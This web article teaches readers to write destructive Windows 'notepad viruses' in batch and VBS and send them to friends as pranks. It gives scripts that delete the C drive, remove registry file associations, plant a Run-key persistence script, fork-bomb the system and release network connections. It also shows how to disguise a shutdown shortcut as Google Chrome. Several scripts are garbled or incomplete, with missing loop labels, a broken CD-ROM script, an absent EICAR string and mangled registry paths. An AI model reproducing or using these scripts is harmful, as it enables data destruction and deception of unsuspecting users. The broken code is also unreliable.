How to Make a Virus Via Notepad in Your PC


Well, this article is about somethings that we don’t really promote however, is so much fun that we actually couldn’t resist sharing it with you. Yes, we will make a computer virus via notepad in windows. Almost each and every person nowadays have a pc or laptop at there home. Everyone basically spends hours in front of the computer screen while playing games, watching movies, surfing the internet and for other a lot of reasons. In this article, we are going to talk about How to Make a Virus Via Notepad on Your PC. Let’s begin!

Did you guys know that we can make malware via notepad in windows? Yes, making some kind of virus is extremely easy and doesn’t even need any knowledge of programming languages. Neither it needs any external software on our computer. Notepad Virus is just a few lines of code written in notepad that can actually destroy the target’s pc in seconds.

Well, this is not the Intention and all of the information given here is for educational and fun purposes as well. Make sure that you guys don’t harm or hurt anyone when using these notepad virus tricks actually.

How to Make a Virus Via Notepad on Your PC

Many of you will think that the methods must be on coding, however, there is nothing like that. The tricks are basically based on the notepad. You just have to follow the below steps to create a virus within a minute. Plus, you can also remove malware from your browser if it is infected or not. So, let’s check out how you can make a virus with a notepad.

Create Dangerous Virus

  • First of all, in your Windows OS, you have to open the notepad.
  • Now copy and paste the below code into your notepad screen as well.
@Echo off
Del C: *.* |y
  • You guys now have to save this file as virus.bat (you can choose any random names but .bat after that must be there).

Now running the file will basically delete the C drive completely, and the operating system of the respective computer will get corrupted as well.


This method is only for knowledge purposes actually. Do not try this on your PC because it will completely format your C drive.

Create a Harmless Cdrom Virus

You need to open Notepad and Paste the following code into it and then save it as CD-ROM.vbs or anything *.vbs

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 5000

Whenever you double-tap on this file, you will then be amazed at what this simple, harmless virus can do. Your CD/DVD drives will basically get continuously ejected.

In order to stop this virus, you have to open the Task Manager and choose the process tab, and end the wscript.exe file.

Creating a Virus To Test Your Antivirus (fake virus notepad)

You need to open notepad and paste the given code and then simply save the file as “EICAR.COM”


If you guys have an active antivirus, then your antivirus program will simply delete this file in no-time. This is a harmless virus that is used in order o check the security level of your antivirus actually.

Virus To Stop Someone’s Internet Access actually

This is basically a harmless virus and it will not destroy your PC. You guys can use these notepad virus scripts to prank your friends actually. This virus basically stops anyone’s internet access.

You have to type the following code in the notepad.

@Echo off
Ipconfig /release

Now just save the file in a .bat format just like internet.bat and then sent it to your friends.  The IP address will be lost, and thus they won’t be able to fix it. Well, if you guys want to fix it. Then simply type in IPconfig /renew. So, this is one of the best notepad virus pranks as well.

Create a Matrix Type screen

Well, it is not actually a virus. It is just a simple notepad trick that will basically let you guys see the string of green characters that shows randomly. It has nothing to do with your PC registry, batch, etc. You can also use this trick in order to scare your friend because the screen looks just like a virus affected.

Now simply open Notepad and then type the following code into it.

@echo off
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Now save the file as Matrix.bat, and click on it and the show begins.

Shutdown virus

You guys can also create a virus that can shut down PCs. Well, this malware is harmless however, can cause data loss because of a sudden shutdown. Let’s see how you can make a shutdown malware in order to pull up a prank along with your friends.

  • First of all, just right-click on your desktop and then select the option “Create Shortcut”
  • Now in the pop-up window, you need to type in -s -t 60 -c “Virus Detection. The computer is shutting down.” rather than 60, you can actually put what value you want. It basically represents the time in seconds.
  • Then tap on the Next button and type chrome. Or whatever you guys want.
  • Then you have to change the icon of the shortcut, select the icon of Google Chrome.

Your virus will now look like Google Chrome. You can also carry this file in your Pendrive and can shut down your friends’ Pc too.

Some Other Notepad Virus Codes (Notepad virus tricks)

Here are few other source codes in order to create a notepad malware on a Windows computer. But, these viruses are dangerous and can actually destroy your PC. Therefore, do not use this malware for evil purposes actually.

Note: The damages caused by these viruses are irreversible, SO BE CAREFUL!

Turn off Internet Permanently

The below code will turn off anyone’s internet connectivity PERMANENTLY.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!

Endless Notepads

Well, the below code will pop up endless notepads unless the computer freezes and crashes!

@ECHO off
START %SystemRoot%\system32\notepad.exe
GOTO top

Endless Enter

The below code will actually make the enter button pressed continuously as well

Set wshShell = wscript.CreateObject(”WScript.Shell”)
wscript.sleep 100
wshshell.sendkeys “~(enter)”

Remove Key Registry Files

Before you try the notepad virus, please keep in mind that this is a dangerous and unrecoverable virus. Then can cause permanent damage to your operating system as well. Reinstalling Windows is the only option in order to recover from this dangerous malware actually.

START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
ECHO Your PC has been crashed.Your Dad.

App Bomber

This is also another dangerous virus which can freeze a computer in no-time. Basically, this malware will open different applications repeatedly that forces the PC to freeze. This virus can also damage your motherboard, so just try this at your own risk.

@echo off
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x

You guys can also add your own application in the above-given code too.


Alright, That was all Folks! I hope you guys like this article and also find it helpful to you. Give us your feedback on it. Also if you guys have further queries and issues related to this article. Then let us know in the comments section below. We will get back to you shortly.

Have a Great Day!

Also See: The Best Portable Antivirus Software for Windows

Leave a Reply